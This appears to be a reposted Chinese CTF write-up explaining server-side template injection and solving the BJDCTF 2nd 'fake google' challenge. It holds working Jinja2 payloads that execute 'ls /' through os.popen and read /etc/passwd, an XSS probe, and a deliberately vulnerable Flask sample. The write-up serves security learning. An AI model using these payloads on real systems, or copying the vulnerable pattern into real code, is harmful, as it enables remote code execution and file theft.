ssti注入(服务器模板注入) && BJDCTF 2nd fake google
Posted Michae1
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ssti注入(服务器模板注入) && BJDCTF 2nd fake google相关的知识,希望对你有一定的参考价值。
参考链接:
https://www.cnblogs.com/buchuo/p/12559408.html
https://www.cnblogs.com/tiaopidejun/p/12357245.html
https://www.cnblogs.com/gzs-monkey/p/10727330.html#autoid-0-0-0
0x00:SSTI介绍
ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。
它的实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题。
这个问题主要是出在web应用模板渲染的过程中,目前比较流行的渲染引擎模板主要有:smarty,twig,jinja2,freemarker,velocity
百度百科:模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
0x01:测试方法
BJDCTF 2nd fake google
输入任何东西,都会显示在页面上
<script>alert(\'1\')</script> 还有XSS但没用
测试payload
?name={{2*3}}
?name={{1+2}} //这个需要把 + URL编码一下 即 {{1%2b2}}
目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ c.__init__.__globals__[\'__builtins__\'].eval("__import__(\'os\').popen(\'ls /\').read()")}}{% endif %}{% endfor %}
python3 读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ c.__init__.__globals__[\'__builtins__\'].open(\'/etc/passwd\', \'r\').read() }}{% endif %}{% endfor %}
ssti注入工具
https://github.com/epinna/tplmap
一题:https://blog.csdn.net/qq_40827990/article/details/82940894
python OS 模块执行命令
简单的漏洞测试代码
from flask import Flask, request from jinja2 import Environment app = Flask(__name__) Jinja2 = Environment() @app.route("/page") def page(): name = request.values.get(\'name\') # SSTI VULNERABILITY # The vulnerability is introduced concatenating the # user-provided `name` variable to the template string. output = Jinja2.from_string(\'Hello \' + name + \'!\').render() # Instead, the variable should be passed to the template context. # Jinja2.from_string(\'Hello {{name}}!\').render(name = name) return output if __name__ == "__main__": app.run(host=\'0.0.0.0\', port=80)
1
以上是关于ssti注入(服务器模板注入) && BJDCTF 2nd fake google的主要内容,如果未能解决你的问题,请参考以下文章